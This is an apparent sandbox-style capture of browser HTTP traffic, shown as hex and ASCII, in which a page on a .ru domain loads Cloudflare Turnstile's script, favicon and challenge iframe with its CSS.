2025-03-25 15:27:06 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function jt(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-25 15:27:06 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-03-25 15:27:06 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Pe(e,t){var a={label:0,sent:function(){if(l[0
2025-03-25 15:27:06 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
2025-03-25 15:27:06 UTC	1369	IN	Data Raw: 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 5a 7c 7c 28 5a 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 3d 22 72 Data Ascii: anual",e.Auto="auto"})(Z\|\|(Z={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render="r
2025-03-25 15:27:06 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 Data Ascii: tion pt(e){return L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test(e)
2025-03-25 15:27:06 UTC	1369	IN	Data Raw: 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 66 62 44 Data Ascii: "ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"fbD
2025-03-25 15:27:06 UTC	1369	IN	Data Raw: 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 65 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 72 69 74 Data Ascii: .setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},ee(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writ
2025-03-25 15:27:06 UTC	1369	IN	Data Raw: 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 65 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 Data Ascii: nfigurable:!0}}),ee(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this,ar
2025-03-25 15:27:06 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 62 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 61 29 3b Data Ascii: tion(e,t,a){var o=Tt(t.params,!1),c="h/".concat("b","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(a);

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:07 UTC	635	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://ojjk.threaw.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 15:27:07 UTC	740	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 15:27:07 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Set-Cookie: __cf_bm=d2S46JEZgEGkngyhJW2M8JGpJyn7hk7PRaCOmANsRek-1742916427-1.0.1.1-9Hs3y9RkJDM3z2zvyyfBLwACgKYEw3JlIaWL30vglOV5yK11D6XqPWTVJGF1crZPvQsNjUaUeaDAaKFjR45n8e5_.rDCpzi_1P3jozWf7U8; path=/; expires=Tue, 25-Mar-25 15:57:07 GMT; domain=.developers.cloudflare.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 925f6e381948b9c6-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 15:27:07 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-25 15:27:08 UTC	308	IN	Data Raw: e5 01 1a ae 24 1a 01 0f 82 94 b8 17 10 11 06 de c4 b1 28 5d f1 0e ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f 3d Data Ascii: $(]9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_=

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:08 UTC	839	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/nxntx/0x4AAAAAABAfAYT7TW9UJ31J/auto/fbE/new/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Sec-Fetch-Storage-Access: active Referer: https://ojjk.threaw.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 15:27:08 UTC	1297	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 15:27:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 28103 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: default-src 'none'; script-src 'nonce-81RZCRho03oXHYnu' 'unsafe-eval'; script-src-attr 'none'; worker-src blob:; style-src 'unsafe-inline'; img-src 'self'; connect-src 'self'; frame-src 'self' blob:; child-src 'self' blob:; form-action 'none'; base-uri 'self'; sandbox allow-same-origin allow-scripts allow-popups allow-forms cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA
2025-03-25 15:27:08 UTC	411	IN	Data Raw: 63 72 69 74 69 63 61 6c 2d 63 68 3a 20 53 65 63 2d 43 48 2d 55 41 2d 42 69 74 6e 65 73 73 2c 20 53 65 63 2d 43 48 2d 55 41 2d 41 72 63 68 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 62 69 6c 65 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 64 65 6c 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 53 65 63 2d 43 48 2d 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2d 4c 69 73 74 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2c 20 53 65 63 2d 43 48 2d 55 41 2c 20 55 41 2d 42 69 74 6e 65 73 73 2c 20 55 41 2d 41 72 63 68 2c 20 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 4d 6f 62 69 6c 65 2c 20 55 41 2d 4d 6f 64 65 6c 2c 20 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 50 Data Ascii: critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-P
2025-03-25 15:27:08 UTC	1030	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 65 26 23 78 32 37 3b 3b 20 73 63 72 69 70 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 63 65 2d 38 31 52 5a 43 52 68 6f 30 33 6f 58 48 59 6e 75 26 23 78 32 37 3b 20 26 23 78 32 37 3b 75 6e 73 61 66 65 2d Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="x-ua-compatible" content="IE=Edge,chrome=1"> <meta http-equiv="content-security-policy" content="default-src 'none'; script-src 'nonce-81RZCRho03oXHYnu' 'unsafe-
2025-03-25 15:27:08 UTC	1369	IN	Data Raw: 6d 65 73 20 66 69 6c 6c 66 61 69 6c 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 33 30 70 78 20 30 20 30 20 23 64 65 31 33 30 33 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 33 30 70 78 20 23 32 33 32 33 32 33 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 2d 64 61 72 6b 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 33 30 70 78 20 23 66 66 66 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 30 31 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 Data Ascii: mes fillfail{to{box-shadow:inset 0 30px 0 0 #de1303}}@keyframes fillfail-offlabel{to{box-shadow:inset 0 0 0 30px #232323}}@keyframes fillfail-offlabel-dark{to{box-shadow:inset 0 0 0 30px #fff}}@keyframes scale-up-center{0%{transform:scale(.01)}to{transfor
2025-03-25 15:27:08 UTC	1369	IN	Data Raw: 61 6c 69 67 6e 3a 72 69 67 68 74 7d 23 6f 76 65 72 72 75 6e 2d 69 2c 23 73 70 69 6e 6e 65 72 2d 69 7b 61 6e 69 6d 61 74 69 6f 6e 3a 73 70 69 6e 20 35 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 68 65 69 67 68 74 3a 33 30 70 78 3b 77 69 64 74 68 3a 33 30 70 78 7d 23 66 61 69 6c 2d 69 7b 61 6e 69 6d 61 74 69 6f 6e 3a 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 35 35 2c 2e 30 38 35 2c 2e 36 38 2c 2e 35 33 29 20 62 6f 74 68 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 23 64 65 31 33 30 33 7d 23 66 61 69 6c 2d 69 2c 23 73 75 63 63 65 73 73 2d 69 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 64 69 73 70 6c 61 79 3a 66 Data Ascii: align:right}#overrun-i,#spinner-i{animation:spin 5s linear infinite;display:flex;height:30px;width:30px}#fail-i{animation:scale-up-center .6s cubic-bezier(.55,.085,.68,.53) both;box-shadow:inset 0 0 0 #de1303}#fail-i,#success-i{border-radius:50%;display:f
2025-03-25 15:27:08 UTC	1369	IN	Data Raw: 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 61 61 39 33 37 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 3a 23 30 61 61 39 33 37 3b 66 69 6c 6c 3a 23 30 61 61 39 33 37 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 78 70 69 72 65 64 2d 63 69 72 63 6c 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 74 69 6d 65 6f 75 74 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 39 39 39 3b 66 69 6c 6c 3a 23 39 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 65 78 70 Data Ascii: hadow:inset 0 0 0 #0aa937}.theme-dark .success-circle{stroke:#0aa937;fill:#0aa937}.theme-dark .expired-circle,.theme-dark 